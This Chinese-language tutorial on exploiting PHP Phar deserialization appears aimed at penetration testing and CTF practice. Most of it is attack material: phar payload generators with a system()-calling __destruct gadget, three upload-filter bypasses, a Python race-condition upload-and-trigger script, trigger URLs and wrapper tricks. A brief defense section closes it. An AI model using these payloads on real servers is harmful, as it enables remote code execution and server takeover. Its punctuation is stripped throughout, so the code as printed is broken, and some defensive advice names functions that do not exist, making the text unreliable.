
PHP Phar反序列化实战3种绕过上传检测与5个高危函数触发分析在PHP安全领域Phar反序列化漏洞因其独特的触发方式和广泛的攻击面成为渗透测试和CTF比赛中的高频考点。本文将深入剖析Phar反序列化的核心机制提供3种实战绕过上传检测的技巧并详细分析5个最常被利用的文件系统函数帮助安全研究人员构建完整的攻击链条。1. Phar反序列化核心原理PharPHP Archive是PHP的打包文件格式类似于Java的JAR。其特殊之处在于manifest部分会以序列化形式存储用户自定义的meta-data。当PHP通过phar://协议解析文件时会自动反序列化这些数据无需直接调用unserialize()函数。关键文件结构1. Stub // 文件标识如GIF89a?php __HALT_COMPILER(); ? 2. Manifest // 包含序列化的meta-data 3. Contents // 压缩文件内容 4. Signature // 可选签名典型生成脚本class Exploit { public $cmd id; } $phar new Phar(exploit.phar); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata(new Exploit()); $phar-addFromString(test.txt, payload);注意需确保php.ini中phar.readonlyOff否则无法生成phar文件2. 三种绕过上传检测的方法2.1 GIF头伪装技术通过添加GIF文件头绕过内容检测$phar-setStub(GIF89a.?php __HALT_COMPILER(); ?);检测特征仅检查文件前6字节是否为GIF89a不验证后续内容是否符合GIF格式2.2 ZIP注释注入将序列化数据存入ZIP文件注释$zip new ZipArchive(); $zip-addFromString(test.txt, text); $zip-setArchiveComment(serialize($payload)); $zip-close();优势完全规避__HALT_COMPILER()特征检测可配合.jpg后缀上传2.3 TAR格式转换利用Phar的格式转换特性$phar $phar-convertToExecutable(Phar::TAR);特点生成.phar.tar文件可容忍文件头尾的脏数据适合存在前后缀检测的场景3. 五个高危触发函数分析通过测试发现以下文件系统函数在参数可控时可能触发Phar反序列化函数触发条件典型利用场景file_exists()检查phar文件存在性文件上传后的二次验证file_get_contents()读取phar内文件内容本地文件包含(LFI)is_dir()判断phar是否为目录路径校验环节stat()获取phar文件属性文件信息检查fopen()打开phar内文件流文件读取操作特殊案例条件竞争利用# 竞争脚本示例 import threading import requests def upload(): while True: requests.post(target, files{file: open(exploit.phar,rb)}) def trigger(): while True: r requests.get(f{target}?filephar://exploit.phar) if RCE in r.text: print(r.text) threading.Thread(targetupload).start() threading.Thread(targettrigger).start()4. 完整攻击链构建4.1 环境侦察确认PHP版本≥5.3查找文件上传点定位包含文件操作的接口4.2 漏洞利用步骤生成恶意Pharclass Exp { function __destruct() { system($this-cmd); } } $p new Phar(payload.phar); $p-setMetadata(new Exp());绕过上传限制添加GIF头/修改扩展名或通过SSRF远程下载触发反序列化http://target/upload.php?filephar://./uploads/exploit.jpg4.3 高级绕过技巧当phar://被过滤时可尝试compress.zlib://phar:///path/to/file.phar php://filter/resourcephar://exploit.phar5. 防御方案开发人员建议禁用危险函数disable_functions phar_open, phar_functions严格校验上传内容$finfo new finfo(FILEINFO_MIME_TYPE); if ($finfo-file($tmp) ! image/gif) die();限制协议白名单$allowed [http, https]; if (!in_array(parse_url($input, PHP_URL_SCHEME), $allowed)) die();系统加固措施定期更新PHP版本≥8.0默认禁用phar反序列化配置phar.readonlyOn使用Suhosin等安全扩展在实际渗透测试中Phar反序列化常与文件上传、SSRF等漏洞形成组合拳。某次真实案例中通过CMS的模板上传功能植入伪装成PNG的Phar文件最终利用file_exists()触发RCE拿下服务器权限。